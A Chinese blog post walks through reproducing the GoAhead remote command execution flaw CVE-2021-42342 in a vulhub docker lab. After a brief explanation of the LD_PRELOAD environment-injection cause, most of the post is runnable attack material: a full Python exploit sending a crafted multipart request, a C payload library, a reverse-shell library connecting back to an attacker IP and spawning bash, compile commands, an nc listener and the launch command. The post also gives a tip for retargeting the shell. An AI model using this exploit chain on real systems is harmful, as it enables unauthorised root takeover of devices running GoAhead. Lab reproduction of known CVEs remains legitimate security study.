GoAhead远程命令执行漏洞(CVE-2021-42342)

目录

GoAhead远程命令执行漏洞(CVE-2021-42342)

漏洞描述

漏洞复现

启动环境

复现漏洞


漏洞描述

漏洞主要是由于上传过滤器没有设置不受信任的var位绕过CGI处理程序的前缀检测,渗透人员可以利用这个漏洞在未授权的情况下,构造恶意程序数据执行远程命令执行攻击,进而获得服务器的最高权限。

具体成因则是GoAhead在处理CGI请求时,将用户传入的的参数作为环境变量了。这样,通过参数LD_PRELOAD就可以劫持CGI进程的动态链接库,进而执行任意代码。并且本漏洞实际上是对CVE-2017-17562的一次绕过。

补丁对用户传入参数进行了黑名单过滤,LD_PRELOAD这类参数不再设置为环境变量。但由于这个限制使用错了函数,导致实际上并没有生效

并且补丁还将用户传入的参数名前面增加了前缀,导致无法劫持任意环境变量。但这个限制漏掉了multipart的POST包,所以攻击者通过这个方式仍然可以注入任意环境变量。

在2021年5月份GoAhead默认将CGI相关的配置注释了,所以新版本的GoAhead默认没有开启CGI配置,并且老版本如果没有cgi-bin目录,或者里面没有cgi文件,也不受这个漏洞影响。

漏洞影响版本为:

  • 4.0.0<= GoAhead <= 4.1.2
  • 5.0.0<= GoAhead < 5.1.5

GoAhead在IBM、HP、Oracle、波音、D-link、摩托罗拉等厂商产品中广泛使用,所以该漏洞的影响范围非常广泛。

漏洞复现

启动环境

方法一、docker启环境

利用vulhub搭建漏洞环境,

下载安装vulhub,解压进入CVE-2021-42342目录下:

vulhub-master/goahead/CVE-2021-42342

启动环境:

docker-compose up -d

查看端口和IP(网卡eth0):

docker ps -a或docker-compose ps -a

浏览器访问IP和端口,出现如下页面代表访问成功

方法二、使用vulfocus

搜索CVE-2021-42342,启动环境,直接访问

复现漏洞

一、执行恶意代码

1、随便创建个目录,新建两个文件:poc.py、poc.c,代码如下:

下载poc.py(直接复制(如下图)或下载文件都可)

vulhub/poc.py at master · vulhub/vulhub · GitHub

poc.py代码如下:

import sys
import socket
import ssl
import random
from urllib.parse import urlparse, ParseResult

PAYLOAD_MAX_LENGTH = 16384 - 200

def exploit(client, parts: ParseResult, payload: bytes):
    path = '/' if not parts.path else parts.path
    boundary = '----%s' % str(random.randint(1000000000000, 9999999999999))
    padding = 'a' * 2000
    content_length = min(len(payload) + 500, PAYLOAD_MAX_LENGTH)
    data = fr'''POST {path} HTTP/1.1
Host: {parts.hostname}
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36
Connection: close
Content-Type: multipart/form-data; boundary={boundary}
Content-Length: {content_length}

--{boundary}
Content-Disposition: form-data; name="LD_PRELOAD";

/proc/self/fd/7
--{boundary}
Content-Disposition: form-data; name="data"; filename="1.txt"
Content-Type: text/plain

#payload#{padding}
--{boundary}--
'''.replace('\n', '\r\n')
    data = data.encode().replace(b'#payload#', payload)
    client.send(data)
    resp = client.recv(20480)
    print(resp.decode())

def main():
    target = sys.argv[1]
    payload_filename = sys.argv[2]

with open(payload_filename, 'rb') as f:
        data = f.read()

if len(data) > PAYLOAD_MAX_LENGTH:
        raise Exception('payload size must not larger than %d', PAYLOAD_MAX_LENGTH)

parts = urlparse(target)
    port = parts.port
    if not parts.port:
        if parts.scheme == 'https':
            port = 443
        else:
            port = 80

context = ssl.create_default_context()
    with socket.create_connection((parts.hostname, port), timeout=8) as client:
        if parts.scheme == 'https':
            with context.wrap_socket(client, server_hostname=parts.hostname) as ssock:
                exploit(ssock, parts, data)

else:
            exploit(client, parts, data)

if __name__ == '__main__':
    main()

编写打印测试文件的poc代码如下(poc.c)

#include <unistd.h>

static void before_main(void) __attribute__((constructor));

static void before_main(void)

{

write(1, "Hello: World\r\n\r\n", 16);

write(1, "Hacked\n", 7);

}

2、生成payload.so文件(gcc版本不能太低):

使用gcc进行编译poc1.c中的代码,这样,before_main函数将在程序执行前被调用

gcc -s -shared -fPIC ./poc1.c -o payload.so

3、赋予payload.so、poc.py、poc.c等三个文件所有权限(777)。

4、然后,我们使用这个脚本来发送恶意数据包:(Python必须3.6以上才行)

python3 poc.py http://ip:端口号/cgi-bin/index payload.so

二、反弹shell

1、创建文件shell.c,放入下面的代码

反弹shell的poc代码如下(shell.c):

#include<stdio.h>

#include<stdlib.h>

#include<sys/socket.h>

#include<netinet/in.h>

char *server_ip="172.17.0.1";/*The server which accepts shell*/

uint32_t server_port=7777;/*The port which you listen to*/

static void reverse_shell(void) __attribute__((constructor));

static void reverse_shell(void)

{

int sock = socket(AF_INET, SOCK_STREAM, 0);

struct sockaddr_in attacker_addr = {0};

attacker_addr.sin_family = AF_INET;

attacker_addr.sin_port = htons(server_port);

attacker_addr.sin_addr.s_addr = inet_addr(server_ip);

if(connect(sock, (struct sockaddr *)&attacker_addr,sizeof(attacker_addr))!=0)

exit(0);

dup2(sock, 0);

dup2(sock, 1);

dup2(sock, 2);

execve("/bin/bash", 0, 0);

}

2、编译以上代码

gcc -s -shared -fPIC ./shell.c -o shell.so

3、注意要给shell.so和shell.c所有权限(777)

4、在对应的ip端口上开启监听(开启另一个终端)

nc -lvnp 7777

5、执行payload,此时页面会显示500报错,(在执行脚本时可能会报错,但没有影响,不过我操作时没报错)

python3 poc.py ​​​​​​http://靶机-ip:靶机端口号/cgi-bin/index shell.so

6、查看监听端口的终端,会发现有建里连接:

7、输入whoami命令显示自身用户名称,可以看到是root用户,成功触发RCE

注意:

获取shell时,如果攻击机与靶机不是同一台机器,则需要把shell.c中的IP更换成攻击机的IP,端口号可不做更改(与攻击机监听的端口号一致)!

参考:

CVE-2021-42342漏洞复现及docker环境搭建_li2na1的博客-CSDN博客_docker 漏洞环境搭建

https://github.com/vulhub/vulhub/blob/master/goahead/CVE-2021-42342(poc.py、shell.c、payload.c都在这里)

GoAhead远程命令执行漏洞(CVE-2021-42342)相关推荐

  1. 开源堡垒机JumpServer远程命令执行漏洞复现

    声明 好好学习,天天向上 漏洞描述 JumpServer 是全球首款完全开源的堡垒机, 使用GNU GPL v2.0 开源协议, 是符合4A 的专业运维审计系统.JumpServer 使用Python ...

  2. SonicWall 远程命令执行漏洞

    SonicWall SSL-VPN 远程命令执行漏洞 漏洞描述 SonicWall SSL-VPN 远程命令执行在1月24日被公开 EXP,此设备存在远程命令执行漏洞 漏洞影响 SonicWall S ...

  3. flexpaper php 代码,FlexPaper 2.3.6 远程命令执行漏洞 附Exp

    影响版本:小于FlexPaper 2.3.6的所有版本 FlexPaper (https://www.flowpaper.com) 是一个开源项目,遵循GPL协议,在互联网上非常流行.它为web客户端 ...

  4. webmin远程命令执行漏洞(cve-2019-15107)深入分析

    漏洞描述 近日Webmin被发现存在一处远程命令执行漏洞,经过分析后,初步猜测其为一次后门植入事件. Webmin是目前功能最强大的基于Web的Unix系统管理工具.管理员通过浏览器访问Webmin的 ...

  5. 【注意】关于Redis存在远程命令执行漏洞的安全公告

    点击蓝色"程序猿DD"关注我 回复"资源"获取独家整理的学习资料! 来源:CNVD漏洞平台 安全公告编号:CNTA-2019-0024 2019年7月10日,国 ...

  6. rmi远程反序列化rce漏洞_Oracle WebLogic 反序列化远程命令执行漏洞预警

    报告编号:B6-2019-041901 报告来源:360-CERT 报告作者:360-CERT 更新日期:2019-04-19 0x00 事件背景 2019年4月17日,国家信息安全漏洞共享平台(CN ...

  7. jenkins java反序列化_Jenkins “Java 反序列化”过程远程命令执行漏洞

    ###漏洞原理 反序列化是指特定语言中将传递的对象序列化数据重新恢复为实例对象的过程,而在这个过程中会执行一系列的字节流解析和对象实例化操作用于恢复之前序列化时的对象.在原博文所提到的那些 Java ...

  8. ThinkPHP 5.0.x、5.1.x、5.2.x 全版本远程命令执行漏洞

    ThinkPHP 5.0.x.5.1.x.5.2.x 全版本远程代码执行漏洞 漏洞概述: ThinkPHP是一个快速.兼容而且简单的轻量级国产PHP开发框架.借鉴Struts框架的Action对象,同 ...

  9. 远程执行漏洞修复方案_请马上修复!SaltStack远程命令执行漏洞

    [漏洞预警]SaltStack远程命令执行漏洞(CVE-2020-11651.CVE-2020-11652) 2020年5月3日,阿里云应急响应中心监测到近日国外某安全团队披露了SaltStack存在 ...

最新文章

  1. socket 服务器浏览器与服务器客户端实例
  2. c# 对文件流的读写
  3. poj-2406(kmp水题)
  4. 小程序 video 控制器外观调整_最好的Nintendo Switch控制器
  5. php7与php 5.5 运行效率比较(实测篇)
  6. python 内网镜像站_Python|还是回归海龟与裸IDLE,准备卸载Anaconda
  7. 切割日志 python版
  8. linux界面唤醒,Linux计算机实现自动唤醒和关闭的方法步骤详解
  9. 免费直播课|Python数据可视化与科学计算可视化案例分享
  10. Linux逻辑盘卷管理LVM
  11. [HTML+CSS]电商网站模板
  12. spring的核心模块
  13. 本科毕设不通过是什么原因,哪个少年不曾为如何能够顺利优秀毕业而愁眉苦战
  14. 2012年股市楼市泡沫终将破灭
  15. 三相并网逆变器模型预测容错控制-三相四开关TPFS
  16. 这款 SQL自动检查神器,吊炸天的功能,真TMD多!!
  17. android仿微信发状态图片上传
  18. 《Microduino实战》——1.3 开源软件
  19. 晨枫U盘起动盘制做过程
  20. 从零入门云计算(1):云计算究竟是个啥?

热门文章

  1. unix常用操作命令
  2. iphone个人热点无法开启_iPhone无法开启个人热点怎么回事 iPhone无法开启个人热点解决方法...
  3. Marlin固件之—:基础入门与测试
  4. 一帮一 (15 分)
  5. 关于python-docx自动生成word文档的总结
  6. mysql声明变量关键字_声明变量的关键字
  7. Java实现短信验证码--(完整教程)
  8. 【HDU】5761 Rower Bo
  9. 字符串转为日期,日期转为字符串
  10. word插入Java代码